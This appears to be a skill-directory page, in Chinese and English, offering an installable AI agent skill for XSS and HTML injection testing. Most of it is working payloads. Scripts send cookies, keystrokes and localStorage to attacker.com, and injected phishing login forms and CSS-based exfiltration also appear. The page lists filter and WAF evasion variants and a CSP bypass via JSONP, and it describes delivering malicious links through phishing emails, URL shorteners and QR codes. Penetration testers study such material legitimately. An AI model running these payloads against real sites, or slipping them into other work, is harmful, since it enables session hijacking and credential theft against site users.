Cross-Site Scripting and HTML Injection Testing by automindtechnologie-jpg/ultimate-skill.md
npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'Cross-Site Scripting and HTML Injection Testing'对Web应用程序执行全面的客户端注入漏洞评估,以识别XSS和HTML注入缺陷,演示会话劫持和凭据窃取利用技术,并验证输入清理和输出编码机制。此技能支持跨存储型、反射型和基于DOM的攻击向量进行系统性检测和利用。
定位用户输入在响应中反射的区域:
# 常见注入向量
- 搜索框和查询参数
- 用户资料字段(姓名、简介、评论)
- URL片段和哈希值
- 显示用户输入的错误消息
- 仅具有客户端验证的表单字段
- 隐藏表单字段和参数
- HTTP头部(User-Agent、Referer)
插入测试字符串以观察应用程序行为:
<!-- 基本反射测试 -->
<test123>
<!-- 脚本标签测试 -->
<script>alert('XSS')</script>
<!-- 事件处理器测试 -->
<img src=x onerror=alert('XSS')>
<!-- 基于SVG的测试 -->
<svg onload=alert('XSS')>
<!-- Body事件测试 -->
<body onload=alert('XSS')>
监控以下情况:
存储型XSS指标:
反射型XSS指标:
基于DOM的XSS指标:
针对具有持久性用户内容的区域:
- 评论区和论坛
- 用户资料字段(显示名称、简介、位置)
- 产品评价和评分
- 私信和聊天系统
- 文件上传元数据(文件名、描述)
- 配置设置和偏好
<!-- Cookie窃取载荷 -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- 键盘记录器注入 -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- 会话劫持 -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- 钓鱼表单注入 -->
<div id="login">
<h2>会话已过期 - 请登录</h2>
<form action="http://attacker.com/phish" method="POST">
用户名: <input name="user"><br>
密码: <input type="password" name="pass"><br>
<input type="submit" value="登录">
</form>
</div>
构建包含XSS载荷的URL:
# 基本反射载荷
https://target.com/search?q=<script>alert(document.domain)</script>
# URL编码载荷
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# 参数中的事件处理器
https://target.com/page?name="><img src=x onerror=alert(1)>
# 基于片段的(用于DOM XSS)
https://target.com/page#<script>alert(1)</script>
向受害者交付反射型XSS的技术:
1. 包含精心构造链接的钓鱼邮件
2. 社交媒体消息分发
3. 使用URL缩短器隐藏载荷
4. 编码恶意URL的二维码
5. 通过受信任域的重定向链
定位处理用户输入的JavaScript函数:
// 危险的接收器
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
定位用户控制数据进入应用程序的位置:
// 用户可控来源
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage数据
localStorage/sessionStorage
// 基于哈希的注入
https://target.com/page#<img src=x onerror=alert(1)>
// URL参数注入(客户端处理)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage利用
// 在攻击者页面上:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
在不使用JavaScript的情况下修改页面外观:
<!-- 内容注入 -->
<h1>网站被黑</h1>
<!-- 表单劫持 -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="输入密码">
<button>提交</button>
</form>
<!-- CSS注入用于数据外泄 -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe注入 -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
持久性内容操作:
<!-- 跑马灯干扰 -->
<marquee>重要安全通知:您的账户已被入侵!</marquee>
<!-- 样式覆盖 -->
<style>body{background:red !important;}</style>
<!-- 使用CSS隐藏内容 -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
此处放置虚假登录表单或误导性内容
</div>
<!-- 大小写变体 -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- 替代标签 -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- 格式错误的标签 -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
<!-- HTML实体编码 -->
<img src=x onerror=alert(1)>
<!-- 十六进制编码 -->
<img src=x onerror=alert(1)>
<!-- Unicode编码 -->
<script>\u0061lert(1)</script>
<!-- 混合编码 -->
<img src=x onerror=\u0061\u006cert(1)>
// 字符串拼接
<script>eval('al'+'ert(1)')</script>
// 模板字面量
<script>alert`1`</script>
// 构造函数执行
<script>[].constructor.constructor('alert(1)')()</script>
// Base64编码
<script>eval(atob('YWxlcnQoMSk='))</script>
// 不使用括号
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
<!-- 制表符/换行符插入 -->
<img src=x onerror
=alert(1)>
<!-- JavaScript注释 -->
<script>/**/alert(1)/**/</script>
<!-- 属性中的HTML注释 -->
<img src=x onerror="alert(1)"<!--comment-->
1. 插入 <script>alert(1)</script> → 检查执行
2. 插入 <img src=x onerror=alert(1)> → 检查事件处理器
3. 插入 "><script>alert(1)</script> → 测试属性转义
4. 插入 javascript:alert(1) → 测试href/src属性
5. 检查URL哈希处理 → DOM XSS潜力
| 上下文 | 载荷 |
|---|---|
| HTML正文 | <script>alert(1)</script> |
| HTML属性 | "><script>alert(1)</script> |
| JavaScript字符串 | ';alert(1)// |
| JavaScript模板 | ${alert(1)} |
| URL属性 | javascript:alert(1) |
| CSS上下文 | </style><script>alert(1)</script> |
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
场景:博客评论功能存在存储型XSS漏洞
检测:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
观察:评论渲染且脚本对所有查看者执行
利用载荷:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
结果:每个查看评论的用户都会将其会话Cookie发送到攻击者的服务器。
场景:搜索结果页面反射查询内容而未编码
易受攻击的URL:
https://shop.example.com/search?q=test
检测测试:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
精心构造的攻击URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
交付:URL通过钓鱼邮件发送给目标用户。
场景:JavaScript读取URL哈希并将其插入DOM
易受攻击的代码:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
攻击URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
结果:脚本完全在客户端执行;载荷从未接触服务器。
场景:网站有CSP但允许受信任的CDN
CSP头部:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
绕过:在受信任域上查找JSONP端点:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
结果:使用允许的脚本源绕过CSP。
| 问题 | 解决方案 |
|---|---|
| 脚本未执行 | 检查CSP阻止;验证编码;尝试事件处理器(img、svg onerror);确认JS已启用 |
| 载荷出现但不执行 | 使用"或'跳出属性上下文;检查是否在注释内;测试不同上下文 |
| Cookie不可访问 | 检查HttpOnly标志;尝试localStorage/sessionStorage;使用no-cors模式 |
| CSP阻止载荷 | 在允许列表域上查找JSONP;检查unsafe-inline;测试base-uri绕过 |
| WAF阻止请求 | 使用编码变体;片段载荷;空字节;大小写变体 |
每周安装次数
0
仓库
首次出现
1970年1月1日
安全审计
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
| SVG上下文 | <svg onload=alert(1)> |
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
Monitor for:
Stored XSS Indicators:
Reflected XSS Indicators:
DOM-Based XSS Indicators:
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
Modify page appearance without JavaScript:
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Persistent content manipulation:
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style>
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- Hex encoding -->
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
<!-- Tab/newline insertion -->
<img src=x onerror
=alert(1)>
<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>
<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
| Context | Payload |
|---|---|
| HTML body | <script>alert(1)</script> |
| HTML attribute | "><script>alert(1)</script> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | javascript:alert(1) |
| CSS context | </style><script>alert(1)</script> |
| SVG context | <svg onload=alert(1)> |
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
Scenario : Blog comment feature vulnerable to stored XSS
Detection :
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation : Comment renders and script executes for all viewers
Exploitation Payload :
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result : Every user viewing the comment has their session cookie sent to attacker's server.
Scenario : Search results page reflects query without encoding
Vulnerable URL :
https://shop.example.com/search?q=test
Detection Test :
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL :
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery : URL sent via phishing email to target user.
Scenario : JavaScript reads URL hash and inserts into DOM
Vulnerable Code :
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL :
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result : Script executes entirely client-side; payload never touches server.
Scenario : Site has CSP but allows trusted CDN
CSP Header :
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass : Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result : CSP bypassed using allowed script source.
| Issue | Solutions |
|---|---|
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
| Payload appears but doesn't execute | Break out of attribute context with " or '; check if inside comment; test different contexts |
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |
Weekly Installs
0
Repository
First Seen
Jan 1, 1970
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
24,700 周安装